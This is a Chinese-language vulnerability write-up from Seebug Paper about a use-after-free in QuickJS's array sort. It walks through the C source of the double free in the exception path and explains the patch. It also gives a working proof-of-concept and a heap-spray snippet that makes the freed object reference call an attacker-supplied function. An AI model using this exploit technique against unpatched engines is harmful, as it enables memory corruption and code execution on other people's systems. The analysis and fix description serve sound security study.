作者:Alex
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

0x01 介紹

Quickjs是我偶像的偶像所寫的一個輕量的js引擎,先放張benchmark。可以看到作為一個輕量的js引擎,Quickjs是十分優秀的。在評分上甚至和Hermes這種重型js引擎并駕齊驅。雖然和v8相比還是有不小差距,但是畢竟是一個人開發的,而且相比v8,Quickjs才620kb。

具體特性這里就不講了,有興趣的可以去Quickjs的作者網站 https://bellard.org/quickjs/, 了解Quickjs的更多特性的同時, 也順便膜拜一下大神。

之所以寫這篇文章還是因為偶像的一個微博。

接下來通過對POC和Quickjs的源碼進行分析,看看這個漏洞到底是如何產生的,以及如何利用和修復。

0x02 POC

 let spray = new Array(100);
 let a = [{hack:0},1,2,3,4]; // 在heap上分配內存給{hack:0}, a[0]指向相對應的對象在堆中的地址
 let refcopy = [a[0]]; // refcopy指向{hack:0}
// 拋出異常
 a.__defineSetter__(3,()=>{throw 1;}); 
// 下面的排序會觸發異常拋出,具體如何觸發下文會有介紹
 try {
        a.sort(function(v){if (v == a[0]) return 0; return 1;}); 
 }
 catch (e){}
 a[0] = 0; // 對象{hack:0}的引用減少1,小于等于0,導致內存被收回
 for (let i=0; i<100; i++) spray[i] = [13371337]; // 覆蓋被釋放的內存
 console.log(refcopy[0]); // 13371337

通過代碼可以看出,這是一個典型的uaf(use after free)攻擊。 通過array sorting的漏洞,導致引用沒有正確釋放,從而使攻擊者可以使用這個引用訪問已經被釋放的內存。接下來通過對Quickjs的源碼分析,看看到底是什么原因導致這個漏洞。

0x03 源碼分析

在Quickjs的源碼里,我認為有三個函數對于理解這個漏洞是非常重要的,他們分別是js_array_sort, JS_TryGetPropertyInt64, JS_FreeValue。其中后面兩個函數將會被js_array_sort調用。 下面將對這三個函數進行具體分析。

首先是最重要的js_array_sort,漏洞就是出現在這個函數里面。

static JSValue js_array_sort(JSContext *ctx, JSValueConst this_val,
                             int argc, JSValueConst *argv)
{
    ...


    /* XXX: should special case fast arrays */
    for (i = 0; i < len; i++) {
        if (pos >= array_size) {
            size_t new_size, slack;
            ValueSlot *new_array;
            new_size = (array_size + (array_size >> 1) + 31) & ~15;
            // 分配新的內存空間給一個臨時隊列,用于排序
            new_array = js_realloc2(ctx, array, new_size * sizeof(*array),
            &slack);
            if (new_array == NULL)
                goto exception;
            new_size += slack / sizeof(*new_array);
            array = new_array;
            array_size = new_size;
        }
        // 嘗試獲取對象的屬性,并賦值給新生成的array
        // 此函數會增加{hack:0}的引用計數, 下文有專門介紹
        present = JS_TryGetPropertyInt64(ctx, obj, i, &array[pos].val);

        if (present < 0)
            goto exception;
        if (present == 0)
            continue;
        if (JS_IsUndefined(array[pos].val)) {
            undefined_count++;
            continue;
        }
        array[pos].str = NULL;
        array[pos].pos = i;
        pos++;
    }


    // 對array進行排序,當隊列的元素少于等于特定值(6個)使用插入排序
    rqsort(array, pos, sizeof(*array), js_array_cmp_generic, &asc);


    if (asc.exception)
        goto exception;


    /* XXX: should special case fast arrays */
    while (n < pos) {
        if (array[n].str)
            JS_FreeValue(ctx, JS_MKPTR(JS_TAG_STRING, array[n].str));
        if (array[n].pos == n) {
            // 如果順序沒有發生改變,釋放array里面對應的元素
            JS_FreeValue(ctx, array[n].val);
        } else {
            // 如果順序發生改變,將array里的值寫回對象對應的屬性,這里觸發異常拋出
            // 直接進入異常處理部分
            // a.__defineSetter__(3,()=>{throw 1;});
            if (JS_SetPropertyInt64(ctx, obj, n, array[n].val) < 0) { 
                n++;
                goto exception; 
            }
        }
        n++;
    }


    js_free(ctx, array);
    for (i = n; undefined_count-- > 0; i++) {
        if (JS_SetPropertyInt64(ctx, obj, i, JS_UNDEFINED) < 0)
            goto fail;
    }
    for (; i < len; i++) {
        if (JS_DeletePropertyInt64(ctx, obj, i, JS_PROP_THROW) < 0)
            goto fail;
    }
    return obj;


exception:
    for (n = 0; n < pos; n++) {
        // 釋放array里面對應的元素內存,導致對象reference減少1
        // 這里出現重復釋放(在進入異常處理前,一部分array中的元素已經釋放)
        // 下文有專門介紹
        JS_FreeValue(ctx, array[n].val); 
        if (array[n].str)
            JS_FreeValue(ctx, JS_MKPTR(JS_TAG_STRING, array[n].str));
    }
    js_free(ctx, array);
fail:
    JS_FreeValue(ctx, obj);
    return JS_EXCEPTION;
}

接下來是JS_TryGetPropertyInt64, 這個函數會增加{hack:0}對象的引用計數。

static int JS_TryGetPropertyInt64(JSContext *ctx, JSValueConst obj, int64_t idx, JSValue *pval)
{
    JSValue val = JS_UNDEFINED;
    JSAtom prop;
    int present;


    // #define JS_ATOM_TAG_INT (1U << 31)
    // #define JS_ATOM_MAX_INT (JS_ATOM_TAG_INT - 1)
    // #define likely(x)  __builtin_expect(!!(x), 1) 分支預測
    if (likely((uint64_t)idx <= JS_ATOM_MAX_INT)) {
        /* fast path */
        // 全部都進入這個分支
        present = JS_HasProperty(ctx, obj, __JS_AtomFromUInt32(idx));
        if (present > 0) {
            // JS_NewInt32里面調用JS_DupValue,將會增加對象{hack:0}的引用計數
            val = JS_GetPropertyValue(ctx, obj, JS_NewInt32(ctx, idx));
            // #define unlikely(x)  __builtin_expect(!!(x), 0)
            if (unlikely(JS_IsException(val)))
                present = -1;
        }
    } else {
        prop = JS_NewAtomInt64(ctx, idx);
        present = -1;

        if (likely(prop != JS_ATOM_NULL)) {
            present = JS_HasProperty(ctx, obj, prop);
            if (present > 0) {
                val = JS_GetProperty(ctx, obj, prop);
                if (unlikely(JS_IsException(val)))
                    present = -1;
            }
            JS_FreeAtom(ctx, prop);
        }
    }
    *pval = val;
    return present;
}

最后是JS_FreeValue。 顧名思義是一個減少引用計數,釋放內存的函數。

static inline void JS_FreeValue(JSContext *ctx, JSValue v)
{
    if (JS_VALUE_HAS_REF_COUNT(v)) {
        JSRefCountHeader *p = JS_VALUE_GET_PTR(v); 
        // Quickjs使用引用計數的方式做垃圾回收
        // 當引用減少到小于等于0時,釋放相應內存
        if (--p->ref_count <= 0) { 
            __JS_FreeValue(ctx, v);
        }
    }
}

0x04 原理和觸發條件

Quickjs在進行sorting的時候主要有三個階段。

  • 第一階段是生成一個新的array,將要排序的array object(a = [{hack:0},1,2,3,4])通過getproperty的方式(主要函數是JS_TryGetPropertyInt64),把value寫入array。
  • 第二個階段是對這個array進行排序(rqsort)。
  • 第三個階段是將這個array里面的值通過setproporty的方法重新寫回object。而出現錯誤的地方就是在第三個階段。 當排序的過后,如果array里面的元素順序沒有發生變化,相應的元素內存會被馬上釋放(準確來說是減少引用次數)。但是如果之后回寫剩余元素的時候出現異常,會進入異常處理的部分。這里整個array里的所有元素又會被重新釋放一次,而這里面就包括了之前因為順序沒有變化而已經釋放的元素,導致引用計數被多減少一次。

搞清楚原理之后,我們就知道要觸發這個漏洞的條件是

  1. 對有對象引用的隊列進行排序
  2. 排序時拋出異常
  3. 對隊列中的對象進行引用,這樣內存錯誤釋放后,仍然可以訪問相應內存

0x05 利用

一般對這種uaf的利用都是用函數地址去覆蓋被錯誤釋放的內存,從而實現執行任意代碼。這里面涉及到了堆棧的內存分配和釋放,有興趣的可以看看Modern Binary Exploitation CSCI 4968,里面有詳細的關于堆棧漏洞的利用原理的介紹。

利用代碼如下

let spray = new Array(100);
let a = [{hack:0},1,2,3,4]; 
let refcopy = [a[0]]; 


a.__defineSetter__(3,()=>{throw 1;});
try {
        a.sort(function(v){if (v == a[0]) return 0; return 1;});
}
catch (e){}
a[0] = 0;


// 用函數地址覆蓋錯誤釋放的內存
for (let i=0; i<100; i++) spray[i] = () => {console.log("hack")}; 
console.log(refcopy[0]()); // "hack"

0x06 修復

之前原理部分已經提到,出錯的原因在于排序出錯的時候,array的所有元素都會被引用計數減1,造成重復釋放。所以只要去掉重復釋放的地方就可以。一種修改方法是當順序不變的時候先不釋放,等全部元素都寫回object之后在把array中所有元素集中一起釋放。還有一種修改方法是在出錯的時候不要重復釋放之前已經釋放的元素,具體修改如下:

...
exception:
    // for (n = 0; n < pos; n++) { // 釋放整個array的所有元素
    for (; n < pos; n++) { // 從出錯的地方之后開始釋放
        // 釋放array里面對應的元素內存,導致對象reference減少1
        JS_FreeValue(ctx, array[n].val); 
        if (array[n].str)
            JS_FreeValue(ctx, JS_MKPTR(JS_TAG_STRING, array[n].str));
    }

在7月21號的新release中,這個uaf的漏洞已經被修復。通過diff我們可以發現作者選擇了第二種更簡單高效的修復方式。

0x07 道高一尺,魔高一丈

在新Release發出來沒幾天,又有人發現新的uaf漏洞。推特發出沒多久,漏洞發現者就說,這個漏洞已經被Quickjs的作者修復了。不愧是大神。期待Quickjs的下一個release!

Reference

  1. Modern Binary Exploitation CSCI 4968
  2. https://bellard.org/quickjs/

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1001/